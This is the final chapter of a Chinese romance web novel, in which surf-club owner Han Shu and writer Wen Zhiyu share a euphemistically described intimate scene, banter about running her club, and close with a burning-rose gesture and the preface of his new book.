当闻知屿撤开的时候眼尾都红了,落在她腰侧的手却巍然不动,“你补补觉,我洗个澡先去工作。” 韩暑懵了,都这种情况了,他他他还要工作?没吃过猪肉也没见过猪跑,他这是什么情况? “你……”韩暑迟疑,“是不是有隐疾?” 闻知屿怀疑自己的耳朵出了问题,“隐疾?” 说都说了,也不差多说一句。韩暑咬唇,“就是那方面的问题。” 对上那双略带躲闪的杏眸,闻知屿气笑了,一把将人拉向自己,用力一撞,“哪方面问题?” 韩暑瞬间,红温了。整个人像是从沸腾的开水里捞出来又丢进冰水的水煮蛋,圆墩墩傻乎乎地杵在盆底。 闻知屿咬牙切齿,“我不想耍流氓,你就当我不举?” “……”韩暑两根手指小人走似的,爬过闻知屿鼓起青筋的手背、肌肉隆起的胳臂、紧贴的胸膛,最终停在了锋利的喉结处。 她用指尖碰一下,喉结躲闪似的向下滚动,又碰一下,便又滚动了下。 韩暑眼疾手快一把捏住,小小声,“耍一耍也可以。” 闻知屿因为竭力忍耐半敛的眸子骤然睁开,瞳孔像凝固的冰川又像沸腾的火山岩,“再说一遍。” “耍一耍也可——” 无形之中,紧绷到极致的弓弦啪一声,断了。 这不是他们第一次接吻,但却是第一次如此亲昵。肌肤相贴,素来隐忍克制的闻知屿几乎要将韩暑生吞活剥。 风乍起,水波粼粼,一叶扁舟浮沉。 韩暑难耐地偏过头,日光穿过窗帘缝隙映在她失焦的眼里,形成一道又一道弥散绚烂的光晕。滚烫粗粝的触感将她抛至高空,既温柔又猛烈的攻势让她失重坠落。 单人冲澡变双人鸳鸯浴,韩暑刚缓过劲想和店里打个电话,又被闻知屿捞进怀里,继续身体力行。 “闻知屿,你耍流氓!”韩暑软绵绵抗议。 “耍一耍。”闻知屿气息粗重,“马上。” “闻知屿你说都听我的……” “我听。” “……你骗人!” “……” “你——” 闻知屿咬了下她还挂着水滴的肩膀,“专心点。” 浴室水声阵阵,时不时传来女孩压抑的哭腔和男人低声的诱哄。时间拖出斜影,水汽袅袅升起,将片刻凝结为永恒…… 待收拾爽利,韩暑被塞进客房的大床上时一根指头都不想动。至于为什么是客房…… “我收拾好再抱你回去。”闻知屿掖紧被角,赤裸的上半身抓痕密布。 韩暑哼唧,“几点了?” “两点多。” “……我想去店里。“ 闻知屿一愣,“还去?” “有一批餐具到货,菜单还要调整。”韩暑努力睁眼,可眼皮像被黏住似的。 “那我去。”闻知屿将韩暑的手机放在床头,调成震动模式,“安心休息,有事我给你电话。” 韩暑还是放心不下,但敌不过困意沉沉睡去,梦里还在担忧。闻知屿对此一无所知,乐呵呵地开车直奔后海。 当老板专车出现在门口,刺猬两步就冲了出去,“老板你终于来了,菜单——” 闻知屿下车,锁门,大步流星走了过来。 刺猬向后张望,挠头,“闻老师,老板呢?” “她今天不来。” “那怎么办?有几件急事需要老板拍板,要不您给她打个电话?” 闻知屿抬手理了下衬衫领,虽超过24小时没合眼依旧神采奕奕,甚至一反常态地挂着和煦的笑容,“不用,老板娘在,一样的。” 刺猬两边眉毛同时起飞,继续挠头,“老 闻前,谦虚欠身,“我,我是老板娘。” 刺猬:…………. 店员教练们:…………. 自此之后,逐浪俱乐部,在端茶倒水洗碗洗杯子、员工考勤管理、安全风险控制、服务态度意识方面,留下浓墨重彩的一笔。 逐渐被“分割工作”的老板为此提出抗议,“闻知屿你再去我店里我饶不了你!” 抬头,推了下眼睛,“怎么个饶不了法?” “我、我我我——我离家出走!!!” 第二天早上,韩暑肌肉酸痛筋疲力竭有气无力地翻了个身,“老板今天请假。” 闻知屿从后连人带被子抱进怀里,“那就不去。” “你去。”韩暑用肩膀撞他。 闻知屿无辜,“我不敢去,我怕老板离家出走。” “……老板娘,你要肩负起重任。快去。” “那以后——” 韩暑飞起一脚,直接给人踹下床,“别得寸进尺,滚蛋!!!” 琼岛的四季都是夏天。 从烈阳炙烤的夏天,到微风拂面温度适宜的夏天,俱乐部已然迈上正轨,用实力平复了先前意外事件的不良言论,韩暑也跳出求生模式,开始认真思考未来发展规划。 韩暑坐在滑板上,有一下没一下地前后滑动,支着下巴的手腕上,问号挂坠摇摆,在昏暗的路灯下闪着光芒。 闻知屿脚尖点板尾,右手稳稳逮住双翘,感叹号挂坠晃动,似在回应。 “想什么呢?” 韩暑倏然回神,“在想来琼岛的这段时间,我心态的变化。” 闻知屿呼噜她的脑瓜,韩暑急忙躲开,“别动别动,丸子头要散了。” “头发确实长了。”闻知屿转而捻了捻她耳廓的碎发,“怎么突然开始回忆了?” “就是感觉很神奇。我刚来的时候那么迷茫,不想回去上班,但又不知道该做什么能做什么,感觉自己要完蛋了。后来开始学冲浪,我被虐得花式入水,莫名生出一股胜负欲,就觉得一定要学会,练好之后再考虑其他事情。”韩暑仰头看闻知屿,“再之后,俱乐部出了事,我不知道哪来的勇气和冲动接了下来,摸石头过河,没想到摸着摸着,还真有点*方向了。” 闻知屿勾起食指,刮了刮她的脸蛋,“嗯,事业有了,那我呢?” “你?”韩暑睨他,“捡来的幼稚鬼男友——啊!你掐我!” 闻知屿绷着脸,“好好说。” “你不幼稚,你成熟,你最成熟。”韩暑扒着他的胳膊起身,甜甜一笑,“是吧哥哥?” 哥哥? 闻知屿眸色暗了不止八度,伸臂便去捞她的腰。韩暑蹬蹬后退三步,两只手在身前比叉,“说正事呢,不正经!” “……”闻知屿幽幽叹了口气,“好,说正事。” 韩暑警惕地打量了他一番,确认“咸猪手”收了回去才放心,清清嗓子,“这家俱乐部这项运动对我来说,就像暴风雨里的灯塔,既然能治愈我,那也能为更多人指明方向。所以我想新开一项业务,类似解忧杂货铺,嗯……具体的形式还在考虑,明信片箱、共享笔记本、故事照片墙,等等。大概是这个意思,你觉得行吗?” 闻知屿思忖片刻,什么都没说,快速上板,一溜烟划没影了。 韩暑:? 人呢?又发什么疯? 韩暑上板就追,还没滑出去几步,便见闻知屿风驰电掣而来。他几次蹬地加速后后脚没上板,反倒垂在半空。当鞋底和地面剧烈摩擦,竟然有火星飞溅。 她瞳孔地震,“停停停,你鞋底着火了!” 闻知屿非但没停,反倒弯腰下去,不知道在捣鼓什么。再直起身,他急刹停在韩暑面前。 一只熊熊燃烧的玫瑰花映在韩暑的瞳孔之中。 “新书的封面是一朵点燃的玫瑰。”火光中,闻知屿眼底的温柔倾泻而出,“书送你,玫瑰也送你。” 韩暑接过,怎么看怎么喜欢,垫脚亲了亲闻知屿的下巴,“不回答问题,就会哄我开心……” 闻知屿单手插兜,腰杆都直了,“回答过了。” “嗯?”韩暑转转玫瑰枝,完全不扎手,“有吗?” “给你新书初稿的时候。” “什么情况?” 闻知屿抬起半边眉尾,薄唇微抿,“你看书,不看前言?” 韩暑茫然地眨了眨眼,然后把滑板一扔,举火炬似的举着玫瑰就跑,往家的方向极限冲刺。 闻知屿一手拎一个板,宠溺地盯着那抹身影,然后慢悠悠跟在后头。 韩暑翻出粗略装订的书稿,那一天的场景不受控制地闪回。 “离婚,跟我。” “孩子,我养。“ 韩暑扑哧一笑。也不知道自家男人的脑瓜怎么长的,怪可爱的。她深吸一口气,翻开封皮和扉页,前言二字映入眼中。 第一段是每个单元简单串联,第二段是惯常的黑幽默。但第三段—— 【每个人的心里,都有一个洞。每个人每天,都在挖洞。有的人向上挖,只为寻找一束阳光。有的人向下挖,想要种下一颗宝贵的种子。有的人向内挖,试图看清灵魂的颜色。有的人向外挖,期望内在的力量涌向世界。 脚底长树的男孩倒栽葱种树,一阵雨飘过让他生根发芽。脑袋前后翻转的男孩和世界格格不入,一面镜子转向了他。 寒来暑往,我那四处漏风的心脏在一点点被填满,破败的城堡一点点重建。我拥有了去拥有和去失去的勇气,我被看到,我被听到,我被一个和宇宙般无垠、又和水滴般袖珍的世界环抱。我的世界无所不能。有我在,我的世界无所不能。】 两只坚实的手臂从后将韩暑拢入怀中。 闻知屿温声道:“只要你想,什么都可以。” 韩暑回身,将脸埋在他胸前。眼泪蜿蜒,笑意渐深。她用力点头,“天黑了,今天没看到夕阳。” “没关系,我们还有明天。” 时间奔流不息,每个人都是蒙着眼向前奔跑。有的人一出生就找到了自己的跑道,有的人致死都找不到。 但没关系,只要他们牵着彼此的手,只要他们拥有无穷的勇气,终点就在前方。 掌心的玫瑰花已然熄灭,但爱意永远燃烧。 (正文完)